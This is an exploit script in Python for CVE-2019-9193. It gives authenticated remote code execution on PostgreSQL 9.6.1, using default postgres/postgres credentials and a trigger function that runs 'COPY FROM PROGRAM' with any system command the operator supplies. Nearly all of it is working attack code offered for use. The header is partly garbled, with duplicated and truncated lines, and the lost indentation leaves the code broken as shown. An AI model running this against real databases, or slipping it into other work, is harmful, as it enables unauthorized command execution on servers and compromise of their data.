# Date: 2023-02-01
# Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabeli # Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 2023-02-01
# Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon
# Github: https://github.com/paulotrindadec/CVE-2019-9193
# Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu
# Tested on: Red Hat Enterprise Linux Server 7.9
# CVE: CVE-2019–9193
#!/usr/bin/python3
import sys
import psycopg2
import argparse
def parseArgs():
parser = argparse.ArgumentParser(description='PostgreSQL 9.6.1 Authenticated Remote Code Execution')
parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]')
parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]')
parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to connect to the PostgreSQL DB [Default: postgres]')
parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to connect to the the PostgreSQL DB [Default: postgres]')
parser.add_argument('-c', '--command', nargs='?', help='System command to run')
args = parser.parse_args()
return args
def main():
try:
# Variables
RHOST = args.ip
RPORT = args.port
USER = args.user
PASS = args.password
print(f" [+] Connect to PostgreSQL - {RHOST}")
con = psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASS)
if (args.command):
exploit(con)
else:
print ("[!] Add argument -c [COMMAND] to execute system commands")
except psycopg2.OperationalError as e:
print("Error")
print (" [-] Failed to connect with PostgreSQL")
exit()
def exploit(con):
cur = con.cursor()
CMD = args.command
try:
print('[*] Running ')
cur.execute("DROP TABLE IF EXISTS triggeroffsec;")
cur.execute("DROP FUNCTION triggeroffsecexeccmd() cascade;")
cur.execute("DROP TABLE IF EXISTS triggeroffsecsource;")
cur.execute("DROP TRIGGER IF EXISTS shoottriggeroffsecexeccmd on triggeroffsecsource;")
cur.execute("CREATE TABLE triggeroffsec (id serial PRIMARY KEY, cmdout text);")
cur.execute("""CREATE OR REPLACE FUNCTION triggeroffsecexeccmd()
RETURNS TRIGGER
LANGUAGE plpgsql
AS $BODY$
BEGIN
COPY triggeroffsec (cmdout) FROM PROGRAM %s;
RETURN NULL;
END;
$BODY$;
""",[CMD,]
)
cur.execute("CREATE TABLE triggeroffsecsource(s_id integer PRIMARY KEY);")
cur.execute("""CREATE TRIGGER shoottriggeroffsecexeccmd
AFTER INSERT
ON triggeroffsecsource
FOR EACH STATEMENT
EXECUTE PROCEDURE triggeroffsecexeccmd();
""")
cur.execute("INSERT INTO triggeroffsecsource VALUES (2);")
cur.execute("TABLE triggeroffsec;")
con.commit()
returncmd = cur.fetchall()
for result in returncmd:
print(result)
except (Exception, psycopg2.DatabaseError) as error:
print(error)
finally:
if con is not None:
con.close()
#print("Closed connection")
if __name__ == "__main__":
args = parseArgs()
main()